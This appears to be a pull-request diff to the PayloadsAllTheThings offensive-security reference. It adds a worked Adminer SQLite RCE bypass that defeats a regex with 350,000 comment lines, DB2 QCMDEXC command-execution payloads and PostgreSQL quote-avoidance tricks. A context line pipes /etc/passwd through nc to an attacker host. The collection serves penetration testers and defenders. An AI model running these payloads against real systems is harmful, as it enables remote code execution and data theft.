[pull] master from swisskyrepo:master

README.md

@@ -50,5 +50,4 @@ This project is proudly sponsored by these companies.
 | --- | --- |
 | [<img src="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/.github/sponsors/serpapi.png" alt="sponsor-serpapi">](https://serpapi.com) | **SerpApi** is a real time API to access Google search results. It solves the issues of having to rent proxies, solving captchas, and JSON parsing. |
 | [<img src="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/.github/sponsors/projectdiscovery.png" alt="sponsor-projectdiscovery">](https://projectdiscovery.io/) | **ProjectDiscovery** - Detect real, exploitable vulnerabilities. Harness the power of Nuclei for fast and accurate findings without false positives. |
-| [<img src="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/.github/sponsors/talordata.png" alt="sponsor-talordata">](https://www.talordata.com/?campaignid=PDsJD5HLgWl2TxNd&utm_source=swisskyrepo&utm_term=swisskyrepo) | **Talordata** - Real-time Google, Bing, Yandex, DuckDuckGo SERP API for AI agents, SEO monitoring, and search data workflows. |
 | [<img src="https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/.github/sponsors/vaadata.png" alt="sponsor-vaadata">](https://www.vaadata.com/) | **VAADATA** - Ethical Hacking Services |

Regular Expression/README.md

@@ -68,6 +68,32 @@ if (preg_match($pattern, $subject)) {
 }
 ```
 
+**Real-Word case: Adminer SQLite RCE**:
+
+Adminer used a regular expression to prevent SQLite queries beginning with ATTACH:
+
+```php
+$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
+if(preg_match($pattern, $query, $match)){
+ die('error');
+}
+```
+
+The check treated both `0` (no match) and `false` (regular expression evaluation failure) as an allowed query. An attacker could prefix an `ATTACH` query with hundreds of thousands of empty SQL comments:
+
+```php
+<?php
+$payload = <<<'SQL'
+ATTACH DATABASE 'lol.php' AS lol;
+CREATE TABLE lol.pwn (data text);
+INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>');
+SQL;
+
+echo str_repeat("--\n", 350000) . $payload;
+```
+
+Processing the comments exhausted PHP PCRE's backtracking limit. `preg_match()` returned `false`, which the application confused with a clean non-match. The blocked `ATTACH` query was consequently executed.
+
 ## References
 
 * [Intigriti Challenge 1223 - Hackbook Of A Hacker - December 21, 2023](https://web.archive.org/web/20260210185049/https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)

SQL Injection/DB2 Injection.md

@@ -105,6 +105,13 @@ Using the `QSYS2.QCMDEXC()` on IBM i (previously named AS-400), it is possibile
 '||QCMDEXC('QSH CMD(''system dspusrprf PROFILE'')')
 ```
 
+In many cases, the command output is not returned directly. The following approach works in two steps: first, execute the command and redirect both standard output and standard error to `/tmp/qsh_output.txt` then, read the contents of that file using `QSYS2.IFS_READ_UTF8`.
+
+```sql
+QSYS2.QCMDEXC('QSH CMD(''system dspusrprf PROFILE > /tmp/qsh_output.txt 2>&1'')')
+SELECT LINE FROM TABLE(QSYS2.IFS_READ_UTF8('/tmp/qsh_output.txt',2147483647,'NONE'))
+```
+
 ## DB2 WAF Bypass
 
 ### Avoiding Quotes

SQL Injection/PostgreSQL Injection.md

@@ -256,10 +256,12 @@ SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
 
 ### Alternative to Quotes
 
+PostgreSQL offers several ways to construct string values without using standard single-quoted literals. The `CHR()` function can generate individual characters from their numeric character codes, which can then be combined using the concatenation operator (`||`). PostgreSQL also supports dollar-quoted strings, available since version 8, allowing text to be enclosed between `$$` delimiters without escaping embedded single quotes.
+
 | Payload            | Technique |
 | ------------------ | --------- |
 | `SELECT CHR(65)\|\|CHR(66)\|\|CHR(67);` | String from `CHR()` |
-| `SELECT $TAG$This` | Dollar-sign ( >= version 8 PostgreSQL)   |
+| `SELECT $$NoQuote$$` | Dollar-Quoted String ( >= version 8 PostgreSQL) |
 
 ## PostgreSQL Privileges